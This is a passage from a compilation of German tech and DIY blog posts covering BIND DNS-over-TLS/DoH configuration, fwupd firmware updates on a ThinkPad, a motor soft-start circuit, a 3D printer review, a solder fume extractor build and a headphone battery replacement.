*port* ist der TCP Port und erklärt sich ebenfalls.
*tls* sagt dem Bind das wir tls sprechen möchten.
*local-tls *verweißt auf den gleichnamigen tls Block über welchen man seine TLS Konfiguration vornimmt.
*http* ist für DoH.
*default* gibt den eigentlichen endpoint für die DoH Abfragen an, im default ist es */dns-query*
Da der Server unsere DNS Abfragen erledigen soll, müssen wir ihm dieses noch per *allow-recursion-on* auf den jeweiligen Adressen erlauben.
Als nächstes wird die eigentliche TLS Terminierung konfiguriert (das lässt sich ebenfalls auslagern, wenn gewünscht). Dafür wird der folgende Block, außerhalb der Options Blocks, ergänzt:
```
tls local-tls {
cert-file "/usr/local/etc/ssl/wild.kernel-error.de/2022/ecp/chain.crt";
key-file "/usr/local/etc/ssl/wild.kernel-error.de/2022/ecp/http.key";
dhparam-file "/usr/local/etc/ssl/dhparam.pem";
protocols { TLSv1.2; TLSv1.3; };
ciphers "TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256";
prefer-server-ciphers yes;
session-tickets no;
};
```
*local-tls* ist dabei der name des Blocks. Auf diesen verweisen wir oben.
*cert-file* ist der Pfad zum Zertifikat. Ich habe dort nicht nur das Zertifikat, sondern die gesamte Chain, also mit Intermediate und Root.
*key-file* ist der Pfad zum Key des Zertifikates.
*dhparam-file* ist der Pfad zu den Diffie-Hellman Parametern.
*protocols* definiert die zu verwendenden TLS Protokolle. In diesem Beispiel TLS1.2 sowie TLS1.3.
*ciphers* definiert die zu verwendenden cipher. Es soll ja „sicher“ bleiben.
*prefer-server-ciphers* übermittelt dem Client die Information, in welcher Reihenfolge protokoll/cipher Kombinationen probiert werden sollen um einen Match zu finden. Erst das vermeintlich sicherste und dann immer „schlechter“.
*session-tickets* regelt ob eine Wiederaufnahme von TLS Sessions erlaubt ist oder nicht. Da ich forward secrecy nutzen möchte, ist es deaktiviert.
Damit ist die Konfiguration schon abgeschlossen (Firewall ggf. nicht vergessen!). Also testen….
Ein einfaches Tool dafür ist [dog](https://dns.lookup.dog/), oder natürlich dig aus den bind-tools aber Version 9.18. Für bind gibt es dann die Optionen +https oder auch +tls
```
dig +https @dns.kernel-error.de www.kernel-error.de A
dig +tls @dns.kernel-error.de www.kernel-error.de A
```
Der gleiche Test mit dog, sieht wie folgt aus:
```
dog www.kernel-error.de --tls "@dns.kernel-error.de"
A www.kernel-error.de. 6h00m00s 148.251.40.23
dog www.kernel-error.de --https "@https://dns.kernel-error.de/dns-query"
A www.kernel-error.de. 6h00m00s 148.251.40.23
```
Das war es auch schon! Viele Spaß mit einem „besseren“ DNS und wenn es noch Fragen gibt, einfach fragen 🙂
---
---
## 7. Firmware- und BIOS-Updates unter Linux einfach mit fwupd durchführen
**Veröffentlicht:** 2021-03-03
**Permalink:** https://www.kernel-error.de/2021/03/03/firmware-bios-updates-unter-linux-koennen-mit-fwupd-spass-machen/
**Description:** Erfahre, wie du mit fwupd unter Linux Firmware- und BIOS-Updates einfach durchführst. Eine Schritt-für-Schritt-Anleitung für sichere Aktualisierungen.
[Bild: Bild vom fwupdmgr update in Aktion.]
Firmware und BIOS Updates müssen hin und wieder sein um Fehler zu beseitigen oder Unterstützung für neuere Komponenten zu erhalten. Dieses unter Linux zu tun, war nicht immer einfach. Oft bieten die Hersteller nur Software für DOS oder vielleicht sogar noch Windows an. Der Support für Linux war eher selten vorhanden und beschränkte sich dabei eher auf Serversysteme. Wenn ich früher an meinem Linux Arbeitsplatz oder Notebook Firmware oder BIOS Updates installieren wollte, musste ich oft eine Festplatte aus der Kiste nehmen, Windows installieren, die nötigen Treiber für die Hardware installieren und mir dann die Herstellertools besorgen, um der Firmware ein Update zu verpassen. So macht es keinen Spaß und ist viel zu aufwendig.
Vor knapp 5 Jahren haben ein paar Gnome Entwickler zusammen mit dem Hersteller Dell mit der Entwicklung an einem Update Tool [*fwupd*](https://fwupd.org/) gestartet. Über dieses Tool gibt es nun die Möglichkeit Firmwareupdates auf einem einheitlichen Weg und über eine einheitliche Basis zu verteilen und zu installieren. Klar steht und fällt es weiterhin mit den Hardware Herstellern. Diese müssen sich nun aber nicht mehr um das eigentliche Tooling und den Support am Betriebssystem Linux kümmern, sondern müssen nur ihre eigentlichen Firmwareupdates in einem [Online-Repository](https://fwupd.org/lvfs/docs/vendors) zur Verfügung stellen.
Jetzt kann jeder Linux Benutzer über einen sehr einfachen Weg Firmware und BIOS Updates einspielen. Für Gnome und KDE gibt es dazu sogar eine GUI, über die CLI geht es genau so einfach.
fwupd kann dabei im Hintergrund als Daemon laufen, täglich nach neuen Firmwareupdates suchen und diese installieren oder zur Installation ankündigen.
Nun möchte ich es mir nicht nehmen lassen, mit euch einen kurzen Ablauf eines solchen Firmwareupdates auf der CLI durchzuführen. Also… Los geht es!
Testgerät dafür ist ein Lenovo ThinkPad, um zu sehen welche Hardware von fwupd erkannt und unterstützt wird, hilft folgender Aufruf:
```
root@errorlap:/home/kernel# fwupdmgr get-devices
20N588101
│
├─Thunderbolt Controller:
│ Device ID: 149dca4a469318aced513ec818b67eeac46753e9
│ Summary: Unmatched performance for high-speed I/O
│ Current version: 20.00
│ Vendor: Lenovo (TBT:0x0109)
│ GUIDs: 52265728-359a-574c-9a6a-a23d3b1f952d ← TBT-01091804-native
│ f117e89e-a75f-5f33-9e8e-c4aded9cbadf ← TBT-01091804-native-controller0-0
│ Device Flags: • Internal device
│ • Updatable
│ • Requires AC power
│ • Device stages updates
│
├─SAMSUNG MZVLB256HB88-000L7:
│ Device ID: f2759da7fe8e0388c5f3601cb072f837b1070b03
│ Summary: NVM Express Solid State Drive
│ Current version: 4M2QEXH7
│ Vendor: Samsung Electronics Co Ltd (NVME:0x144D)
│ Serial Number: S4ELN88N881038
│ GUIDs: 6e54c992-d302-59ab-b454-2d26ddd63e6d ← NVME\VEN_144D&DEV_A808&REV_00
│ 47335265-a509-51f7-841e-1c94911af66b ← NVME\VEN_144D&DEV_A808
│ 1b3b43f9-e0b0-5978-a89b-6f0866124233 ← SAMSUNG MZVLB256HBHQ-000L7
│ Device Flags: • Internal device
│ • Updatable
│ • Requires AC power
│ • Needs a reboot after installation
│ • Device is usable for the duration of the update
│
├─System Firmware:
│ Device ID: 6150dd1f7291b0709289ab8a53cc85a17e117ef2
│ Current version: 0.1.65
│ Minimum Version: 0.0.1
│ Vendor: LENOVO (DMI:LENOVO)
│ GUID: 603baf73-b997-45b5-86b4-2f981a008e18
│ Device Flags: • Internal device
│ • Updatable
│ • Requires AC power
│ • Needs a reboot after installation
│ • Cryptographic hash verification is available
│ • Device is usable for the duration of the update
│
├─UEFI Device Firmware:
│ Device ID: c0649684d1e6688e8147fac95eccb4fdd18d05aa
│ Current version: 192.64.1551
│ Minimum Version: 0.0.1
│ Vendor: DMI:LENOVO
│ GUID: 2c0665e2-fdbd-495e-b8e4-69d92b9c119a
│ Device Flags: • Internal device
│ • Updatable
│ • Requires AC power
│ • Needs a reboot after installation
│ • Device is usable for the duration of the update
│
├─UEFI Device Firmware:
│ Device ID: 489f23b2ba9c1adf3e9f9f10598c98ba5c6bba39
│ Current version: 0.1.19
│ Minimum Version: 0.1.19
│ Vendor: DMI:LENOVO
│ GUID: 38ea6335-29ca-417b-8cd4-6b4e5e866f92
│ Device Flags: • Internal device
│ • Updatable
│ • Requires AC power
│ • Needs a reboot after installation
│ • Device is usable for the duration of the update
│
└─UEFI Device Firmware:
Device ID: 88cf266a57697921241cc5f4b412c3f1b5a07780
Current version: 1.1.8
Minimum Version: 0.0.1
Vendor: DMI:LENOVO
GUID: a6634b3a-f446-42f0-a0b2-62c7d4dcb694
Device Flags: • Internal device
• Updatable
• Requires AC power
• Needs a reboot after installation
• Device is usable for the duration of the update
```
Wie man sehen kann, ist bei diesem Gerät der Support recht weitreichend. Damit fwupd in seinem „Katalog“ überprüfen kann, ob es für eine bestimmte Hardware ein Update gibt, muss man diese kurz aktualisieren. Dieses geht direkt mit einem: *fwupdmgr refresh –force*
Natürlich merkt fwupd auch selbst, wenn sein Datenstand alt ist und bietet ein Update vor der Überprüfung an.
```
root@errorlap:/home/kernel# fwupdmgr get-updates
Firmware metadata has not been updated for 30 days and may not be up to date.
Update now? (Requires internet connection) [y|N]: y
Fetching metadata https://cdn.fwupd.org/downloads/firmware.xml.gz
Downloading… [***************************************]
Fetching signature https://cdn.fwupd.org/downloads/firmware.xml.gz.asc
Successfully downloaded new metadata: 5 local devices supported
• Thunderbolt Controller has the latest available firmware version
• SAMSUNG MZVLB256HBHQ-000L7 has the latest available firmware version
• UEFI Device Firmware has the latest available firmware version
• UEFI Device Firmware has no available firmware updates
20N588101
│
├─System Firmware:
│ │ Device ID: 6150dd1f7291b0709289ab8a53cc85a17e117ef2
│ │ Current version: 0.1.65
│ │ Minimum Version: 0.0.1
│ │ Vendor: LENOVO (DMI:LENOVO)
│ │ GUID: 603baf73-b997-45b5-86b4-2f981a008e18
│ │ Device Flags: • Internal device
│ │ • Updatable
│ │ • Requires AC power
│ │ • Supported on remote server
│ │ • Needs a reboot after installation
│ │ • Cryptographic hash verification is available
│ │ • Device is usable for the duration of the update
│ │
│ ├─ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS for Machine types: 20N2, 20N3, 20N4, 20N5, 20N6, 20N7, 20Q9, 20QH, 20RH, 20RJ) System Update:
│ │ New version: 0.1.70
│ │ Remote ID: lvfs
│ │ Summary: Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC System Firmware
│ │ License: Proprietary
│ │ Size: 25,1 MB
│ │ Vendor: Lenovo Ltd.
│ │ Flags: is-upgrade
│ │ Description: Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS) System Firmware Version 1.70
│ │
│ │ The computer will be restarted automatically after updating BIOS completely. Do NOT turn off your computer or remove the AC adaptor while update is in progress.
│ │
│ │ This stable release fixes the following issues:
│ │
│ │ • Fixed an issue where Setup Settings Capture/Playback Utility (SRSETUP) causes 191 error if Secure Boot Mode is reset to Setup Mode and
│ │
│ │ Supervisor Password is changed at the same time.
│ │
│ │ • Fixed an issue where system might hang at POST when Thunderbolt3 Dock Gen2 is attached.
│ │
│ ├─ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS for Machine types: 20N2, 20N3, 20N4, 20N5, 20N6, 20N7, 20Q9, 20QH, 20RH, 20RJ) System Update:
│ │ New version: 0.1.69
│ │ Remote ID: lvfs
│ │ Summary: Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC System Firmware
│ │ License: Proprietary
│ │ Size: 25,1 MB
│ │ Vendor: Lenovo Ltd.
│ │ Flags: is-upgrade
│ │ Description: Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS) System Firmware 1.69
│ │
│ │ The computer will be restarted automatically after updating BIOS completely. Do NOT turn off your computer or remove the AC adaptor while update is in progress.
│ │
│ │ This stable release fixes the following issues:
│ │
│ │ • This time BIOS release has no impact for Linux users.
│ │
│ ├─ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS for Machine types: 20N2, 20N3, 20N4, 20N5, 20N6, 20N7, 20Q9, 20QH, 20RH, 20RJ) System Update:
│ │ New version: 0.1.68
│ │ Remote ID: lvfs
│ │ Summary: Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC System Firmware
│ │ License: Proprietary
│ │ Size: 25,1 MB
│ │ Vendor: Lenovo Ltd.
│ │ Flags: is-upgrade
│ │ Description: Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS) System Firmware 1.68
│ │
│ │ The computer will be restarted automatically after updating BIOS completely. Do NOT turn off your computer or remove the AC adaptor while update is in progress.
│ │
│ │ This stable release fixes the following issues:
│ │
│ │ • Fixed an issue where keyboard language settings could not be applied by Setup Settings Capture/Playback Utility (SRSETUP).
│ │ • Fixed an issue where WWAN device firmware update process might fail when Thunderbolt BIOS Assist Mode is set to Enabled.
│ │ • Fixed an issue where BIOS might generate 0288 beep error.
│ │ • Support for TCO Certified Logo shown on POST screen.
│ │
│ ├─ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS for Machine types: 20N2, 20N3, 20N4, 20N5, 20N6, 20N7, 20Q9, 20QH, 20RH, 20RJ) System Update:
│ │ New version: 0.1.67
│ │ Remote ID: lvfs
│ │ Summary: Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC System Firmware
│ │ License: Proprietary
│ │ Size: 25,1 MB
│ │ Vendor: Lenovo Ltd.
│ │ Flags: is-upgrade
│ │ Description: Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS) System Firmware 1.67
│ │
│ │ • Fixed an issue where Intel TXT Feature cannot be Enabled in ThinkPad Setup
│ │
│ │ when Device Guard is Enabled.
│ │
│ │ • Fixed an issue where system might hang at POST when attach US
[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2021/03/03/firmware-bios-updates-unter-linux-koennen-mit-fwupd-spass-machen/ ...]
---
---
## 8. Sanftanlauf für Elektromotoren: Softstart & Anlaufstrombegrenzer
**Veröffentlicht:** 2017-08-12
**Permalink:** https://www.kernel-error.de/2017/08/12/sanftanlauf-fuer-elektromotor-softstart-anlaufstrombegrenzer/
**Description:** So funktioniert ein Sanftanlauf: Reduziere den Anlaufstrom von Elektromotoren mit einem Softstarter. Ideal für Kreissägen, Kompressoren und DIY-Projekte.
In meiner Werkstatt habe ich ein paar Elektrogeräte für welche ich gerne einen Sanftanlauf hätte. Einmal um den „Druck“ den hohen Anlaufstrom etwas von den ~Sicherungen~ zu nehmen und dann natürlich um die Geräte an sich etwas zu schonen, denn ein schlagartig anlaufender Elektromotor haut schon ganz schön rein 🙂
Natürlich gibt es viele schöne Dinge, die man einfach kaufen und zwischen stecken/einbauen kann aber ich wollte selbst einmal überlegen wie ich es realisieren kann und vor allem mit dem Zeug aus meiner „Restekiste“. So bin ich auf folgende Schaltung für meine Absauganlage gekommen. Die Anlage bekommt nur Strom, wenn ein anders Elektrogerät eingeschaltet wird und schaltet mit einem gewissen Nachlauf selbst ab (diese Schaltung führe ich vielleicht auch mal irgendwann auf). Es funktioniert also nicht diese einfach immer unter Strom zwischen zu stecken! Oh und natürlich sind Arbeiten am Strom sehr gefährlich und dürfen nur von Menschen ausgeführt werden, welche dieses dürfen 🙂 Diese Beschreibung also nicht nachmachen!
[[Bild: Schaltplan für einen 240V Sanftanlauf für Elektromotoren.]](https://www.kernel-error.de/wp-content/uploads/2017/08/Schaltplan.pdf)
C1 und R1 arbeiten in der Schaltung als eine Art Kondensatornetzteil. D1 – D4 übernehmen die Aufgabe des Gleichrichters. R2 sorgt dafür, dass beim Abschalten die Schaltung möglichst schnell spannungsfrei ist (die Kondensatoren also entladen werden). C2 glättet die Spannung aus dem Gleichrichter, D5 nagelt die Spannung in der Schaltung auf ca. 18V fest. Über R3 wird C3 langsam geladen. R4 sorgt wieder für schnelles Entladen von C3. D6 schützt Q1 vor der Spule in K1, R5 ist die eigentliche „Handbremse“ für den nachgeschalteten Elektromotor. Er lässt, bis zum anziehen des Relais weniger durch und der Motor kann nicht mit voller Power loslegen.
Kommt also Spannung auf die Schaltung wird diese so lang über R5 zum Motor geleitet, bis C3 geladen ist. Denn wenn C3 voll ist, schaltet Q1 durch und somit zieht K1 an und überbrückt so R5.
R5 muss daher auf den nach gelagerten Elektromotor abgestimmt sein, sonst platzt R5 ggf. einfach. Die Größe von C3 bestimmt hierbei die Länge der Verzögerung von K1. 220μF war dabei für mich etwas zu klein. 440μF ist die perfekte Zeit
Die Platine selbst sieht nun so aus.
[[Bild: Selbstgebaute Platine für einen 240V Sanftanlauf für Elektromotoren.]](https://www.kernel-error.de/wp-content/uploads/2017/08/platine-scaled.jpg)
Oh, die Absauganlage besteht aus einem Nassauger von Kärcher hinter einem selbstgebauten Zyklonabscheider.
Fragen? Dann fragen 🙂
---
---
## 9. QIDI i-Mate S 3D-Drucker: Erfahrungen, Upgrades & Support-Tipps
**Veröffentlicht:** 2023-06-05
**Permalink:** https://www.kernel-error.de/2023/06/05/qidi/
**Description:** QIDI i-Mate S 3D-Drucker im Test — Erfahrungsbericht zu Druckqualität, Hardware-Upgrades, Filament-Kompatibilität und Hersteller-Support.
Ich möchte ein paar Worte über meinen 3D Drucker verlieren. Seit knapp 2 Jahre werkelt bei mir der i-mates von QIDI Tech. Ich habe damals ein paar Testberichte durchgeschaut und bin auf diesen gekommen. Wichtig war mir, ein geringer Preis, beheizbares Druckbett, kompaktes Design, die Möglichkeit eines geschlossenen Druckraumes sowie, dass sich das Druckbett nur in der Z-Achse bewegt und natürlich, dass ich den Standard drucken kann. Also PLA, ABS und PETG.
Bisher bin ich extrem zufrieden mit dem Drucker. Er tut genau, was er soll und für den Preis in guter Qualität. Bis hier finden sich diese Informationen sicherlich besser in verschiedensten Testberichten….
Gekauft habe ich den Drucker direkt bei AliExpress im offiziellen Store von QIDI Tec: [https://s.click.aliexpress.com/e/_DFkNgSl](https://s.click.aliexpress.com/e/_DFkNgSl)
Was sich in den Testberichten selten findet, sind Informationen zum Filament Sensor, einem all oder full metal Extruder/Hotend und diesen nervigen Muttern beim bed leveling, sowie etwas zum Support von QIDI Technology und woher man denn Firmware Upgrades bekommt.
Starten wir mit dem Support, dieser war bisher durchgehen exzellent. Es gibt verschiedene Wege den Support zu erreichen. Für mich funktionierte am besten E-Mail, direkt an: [mateb@qd3dprinter.com](mailto:mateb@qd3dprinter.com)
Der Support war immer freundlich, immer hilfsbereit, hatte super Infos, Videos, Anleitungen und was man sich sonst noch wünscht. Der Kontakt lief ohne jedes Problem vollständig in englisch. Dateiaustausch wurde in der Regel über google drive realisiert. Wer schon einmal mit Herstellern hinter der Chinesischen Mauer/Firewall Daten austauschen wollte, versteht den Mehrwert von google drive, in dieser Beziehung. Reagiert hat der Support auf meine E-Mails, in der Regeln innerhalb von 24h (selbst an Wochenenden und Feiertagen). Ich will einfach keinen anderen Support mehr haben.
Mein erstes Upgrade für den Drucker war, nach knapp einem Jahr, ein full-metal Extruder. Ebenfalls gekauft bei AliExpress: [https://de.aliexpress.com/item/1005003165841775.html](https://de.aliexpress.com/item/1005003165841775.html)
[[Bild: Austausch All-Metal-Hotends beim Qidi iMate S]](https://www.kernel-error.de/wp-content/uploads/2023/06/Qidi-imates-all-metal-hotend-scaled.jpg)
Das nötige Firmware Update gab es direkt beim Support inkl. Anleitung. Einbau war sehr einfach, besondere Einstellungsänderungen waren in der QIDI Print App nicht nötig. Die QIDI Print App basiert auf Cura, wurde aber speziell eingepasst für diesen 3D Drucker.
Mit dem neuen Druckkopf hatte ich leider ein paar Probleme. Die Layerhaftung war schlechter. Hier konnte mir der Support helfen. Nicht jeder Schrittmotor läuft 100%tig gleich. Zusammen mit dem Support habe ich getestet ob bei 2cm Filamentvorschub auch wirklich 2cm bewegt werden, was bei mir nicht der Fall war. Daraufhin habe ich vom Support eine für mich angepasste Konfigurationsdatei bekommen. Diese habe ich einfach „gedruckt“ und schon war dieses Problem Geschichte. Insg. waren das 3 E-Mails und 15 Minuten Arbeit.
Die Schrittmotoren selbst werden beim Druck sehr warm. Nicht zu warm, aber doch so warm, dass ich dem Verlangen nicht nachgeben konnte sie zu kühlen. Dazu habe ich folgende selbstklebende Kühlkörper gefunden: [https://s.click.aliexpress.com/e/_DEuRYyh](https://s.click.aliexpress.com/e/_DEuRYyh)
Diese habe ich an allen Schrittmotoren installiert. Ausgenommen der Druckkopf, dieser wird bereits gut gekühlt und das zusätzliche Gewicht wäre sicherlich nicht hilfreich. Also nur ein Kühlkörper für jede Achse.
[[Bild: Kühlkörper auf dem Schrittmotor des Qidi iMate S]](https://www.kernel-error.de/wp-content/uploads/2023/06/Qidi-imates-Schrittmotor-kuehlung-scaled.jpg)
Wer die passive Kühlung direkt in eine aktive verwandeln möchte dem findet hier die passenden Lüfter, direkt für 24V: [https://s.click.aliexpress.com/e/_Dk6rsrB](https://s.click.aliexpress.com/e/_Dk6rsrB)
Zuletzt fehlte mir noch ein Filament Sensor. Mal bricht das Filament (super selten aber passiert) oder es ist einfach mitten im Druck leer und dann läuft der Drucker einfach weiter. Der Filament Run Sensor bemerkt dieses und stoppt den Druckvorgang. So kann einfach Filament „nachgeladen“ werden und der Druck läuft weiter. Ebenfalls gekauft bei AliExpress: [https://s.click.aliexpress.com/e/_DFCISh7](https://s.click.aliexpress.com/e/_DFCISh7)
[Bild: Filament Sensor beim Qidi iMate S - seitlich]
[Bild: Filament Sensor beim Qidi iMate S]
[Bild: Filament Sensor beim Qidi iMate S - mit durchlaufendem Filament]
Die Installation ist wieder extrem einfach, vor allem mit der Anleitung des Supportes. Es gab wieder eine Konfigurationsdatei, welche man einfach druckt und schon ist der Filament Sensor funktionstüchtig. OK, in der deutschen Übersetzung nennt sich der Punkt Glühfaden-Sensor… Für den Hinweis auf dieses Übersetzungsproblemchen hat sich der Support sehr gefreut und möglicherweise ist es im nächsten Firmwareupdate bereits ersetzt durch Filament-Sensor.
Bed Leveling… Leider hat dieser Drucker kein automatisches Leveling. Es gibt im Druckmenü eine geführte Funktion und diese ist einfach und kein Problem. Ebenfalls sind die eigentlichen Muttern kein Problem, nur die Sicherung mittels einer weiteren Flügelmutter ist sehr nervig. Man durchläuft das Leveling Programm, stellt alles perfekt ein und sichert die Muttern, unter Zuhilfenahme der Flügelmuttern. Vielleicht habe ich zu dicke Finger aber jedes Mal hat sich der Abstand zur Nozzel dadurch wieder verändert. Die einfachste Lösung war dann für mich folgender Druck von Thingiverse: [https://www.thingiverse.com/thing:4806871](https://www.thingiverse.com/thing:4806871)
[[Bild: 3D-gedruckte Ersatzmutter für das Bed-Leveling beim Qidi iMate S]](https://www.kernel-error.de/wp-content/uploads/2023/06/Qidi-imates-leveling-nut-scaled.jpg)
Dazu einfach ein paar selbst sichernde M4 Muttern: [https://amzn.to/3MU6fCW](https://amzn.to/3MU6fCW)
Gedruckt habe ich die neuen Leveling Nuts mit PETG… Funktioniert super und Bed Leveling macht fast Spaß, so viel Spaß manuelles Leveling halt machen kann.
Filament… Japp ebenfalls Aliexpress und direkt von QIDI Tec: [https://s.click.aliexpress.com/e/_Dk0scHx](https://s.click.aliexpress.com/e/_Dk0scHx)
Tut und hält 😀
Nozzle… Zusammen mit dem Druckkopf bin ich auf eine Nozzel von Brozzl gewechselt. Einmal braucht meine Nozzel keinen Platz mehr für diesen Plastikschlauch (ist ja nun all metal) und zum anderen wollte ich etwas weg von Messing. Metall ist zwar viel härter, hinsichtlich Abnutzung, aber ich drucke nicht mit Material welches zu hoher Abnutzung führt und die Temperaturleitfähigkeit von Metall ist nicht so wirklich super. Geht, wenn man daran denkt die Temperatur immer +10°C zu nehmen aber beschichtetes Kupfer gefällt mir besser. Noch besserer Wäremeleitwert und sogar noch etwas härter als Messing. Hier der Link zu dem Teil: [https://www.brozzl.com/products/plated-copper-nozzles/](https://www.brozzl.com/products/plated-copper-nozzles/)
---
---
## 10. Lötdampfabsaugung selber bauen: DIY-Projekt mit 3D-Druck und Restteilen
**Veröffentlicht:** 2024-11-09
**Permalink:** https://www.kernel-error.de/2024/11/09/loetdampfabsaugung-aus-resten/
**Description:** Baue eine effektive Lötdampfabsaugung aus Restmaterialien mit 3D-gedrucktem Gehäuse, Lüftungsschlauch und Aktivkohlefilter – ideal für deine Werkbank.
Heute mal etwas ganz Einfaches… Beim Löten entstehen Dämpfe, die man besser nicht durch den „Lungenfilter“ aus der Luft ziehen sollte.
[Bild: 3D-gedruckte Lötdampfabsaugung]
Hier kommen Lötdampfabsaugung ins Spiel. Es gibt kleine, einfache Modelle für etwa 50 €, die [wie ein kleiner Tischventilator](https://s.click.aliexpress.com/e/_DBqspEl) in der Nähe stehen, die Dämpfe absaugen und meist durch einen Aktivkohlefilter leiten. Allerdings stehen mir diese Geräte immer im Weg, und die Lüfter sind oft so schwach, dass trotzdem noch ein großer Teil der Dämpfe zu mir gelangt.
Dann gibt es noch [Absaugungen mit mehr oder weniger flexiblem Schlauch](https://s.click.aliexpress.com/e/_DCGd8Sv). Auch hier erfolgt die Filterung ähnlich, aber diese Modelle kosten dann schnell ein paar Hundert Euro.
Da bei Projekten öfter mal Reste übrig bleiben, liegen in meinem Keller eigentlich schon alle Einzelteile für eine selbstgebaute Lötdampfabsaugung bereit. Man müsste sie nur noch zusammenbauen.
Ich habe noch einen 100-mm-Lüftungsschlauch aus Aluminium, der einigermaßen flexibel ist, einen 120-mm-12V-Lüfter, der für ordentlich Luftstrom sorgt, und ein paar 130-mm-Aktivkohlefilterplatten. Wenn ich davon einfach zwei doppelt nehme, geht mehr als genug Luft durch, und sie filtern die Dämpfe recht gut.
Mit FreeCAD habe ich dann ein Gehäuse für die Teile entworfen, das ich einfach unter meine Werkbank schrauben kann. So liegt nur der Schlauch in einer Ecke und kann bei Bedarf zur richtigen Stelle bewegt werden, um die Löt-Dämpfe direkt an der Quelle abzusaugen.
Hier ein paar Bilder für euch – die Druckdateien findet ihr bei [Maker World](https://makerworld.com/en/models/772111).
[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-5-scaled.jpg)
[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-4-scaled.jpg)
[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-3-scaled.jpg)
[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-2-scaled.jpg)
[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-1-scaled.jpg)
[Bild: 3D-gedruckte Lötdampfabsaugung][Bild: 3D-gedruckte Lötdampfabsaugung][Bild: 3D-gedruckte Lötdampfabsaugung][Bild: 3D-gedruckte Lötdampfabsaugung][Bild: 3D-gedruckte Lötdampfabsaugung]
Ob die Teile auch zu euren „Resten“ passen, müsst ihr selbst kurz prüfen.
Oh, [Schlauch](https://amzn.to/40Fcd2X) und [Filter](https://amzn.to/3O1oJm8) findet ihr bei Amazon.
---
---
## 11. Bose QuietComfort 35: Akku tauschen leicht gemacht
**Veröffentlicht:** 2021-01-07
**Permalink:** https://www.kernel-error.de/2021/01/07/bose-quietcomfort-35-akku-tauschen/
**Description:** Erfahre, wie du den Akku deines Bose QuietComfort 35 Kopfhörers austauschst. Schritt-für-Schritt-Anleitung für mehr Lebensdauer deiner Kopfhörer!
Der Akku in meinem Bose QC35 hat inzwischen ausgedient und muss ausgetauscht werden. Der verbaute Akku ist ein AHB110520CPS von Synergy. Leider konnte ich diesen nicht als Ersatzakku finden. Man kann ihn zwar aus China bestellen (ca. 35 €), aber er ist dann gebraucht, da er aus einem alten Kopfhörer ausgebaut wurde – natürlich „getestet“.
Alternativ gibt es die Möglichkeit, den Kopfhörer einzuschicken und den Akku dort tauschen zu lassen (ca. 70 €). Beides sind jedoch Lösungen, die mir nicht zusagen, denn im Grunde handelt es sich nur um einen einfachen 3,7V-Akku mit knapp 500 mAh.
Nach einiger Suche habe ich jedoch einen passenden Ersatz gefunden. Der Akku GSP072035 hat zwar etwas weniger mAh, was bedeutet, dass die Kopfhörer etwas früher leer sind – aber damit kann ich leben. Zumal die Standzeit des alten Akkus ohnehin schon stark eingeschränkt war. Bestellt habe den folgenden Ersatzakku bei Amazon: [https://amzn.to/2JXwhJc](https://amzn.to/2JXwhJc)
Der neue Akku passt zwar nicht exakt ins Akkufach des alten, ist jedoch klein genug, um problemlos im Kopfhörer Platz zu finden, ohne das Gewicht oder die Klangqualität zu beeinflussen. Man merkt den Unterschied also nicht!
Ein kleiner Tipp: Wenn man schon dabei ist, kann man auch gleich die Ohrpolster austauschen. Ich habe die folgenden Polster bereits zweimal erneuert und kann sie wärmstens empfehlen: [https://amzn.to/2L4xcbo](https://amzn.to/2L4xcbo)
Wie man den Akku selbst austauscht, zeigt eine erstklassige Anleitung von IFIXIT: [https://de.ifixit.com/Anleitung/Bose+QuietComfort+35+Akku+tauschen/134337](https://de.ifixit.com/Anleitung/Bose+QuietComfort+35+Akku+tauschen/134337)
[[Bild: Bild vom geöffnetem Bose QuietComfort 35 mit eingebautem Ersatzakku.]](https://www.kernel-error.de/wp-content/uploads/2021/01/Bose-QuietComfort-35-Replacement-Akku.jpg)
Sobald der alte Akku entfernt ist, klebt man den neuen mit einem kleinen Tropfen Heißkleber in die Ecke und lötet ihn wie den alten Akku an. Nach dem Zusammenbau sollte der Kopfhörer wieder wie gewohnt funktionieren – abgesehen von etwa 20–25 Minuten weniger Hörzeit.
**Kleines Update!** 😊
Inzwischen gibt es auf Amazon einen perfekt passenden Ersatzakku. Es war mal wieder Zeit für einen Austausch, und dieses Mal habe ich sogar ein Modell mit 600 mAh gefunden. Jetzt habe ich so viel Hörzeit wie noch nie zuvor mit meinen Kopfhörern! 🎧 [https://amzn.to/3CsPQnv](https://amzn.to/3CsPQnv)
Fragen? Dann fragt einfach! 🙂
---
---
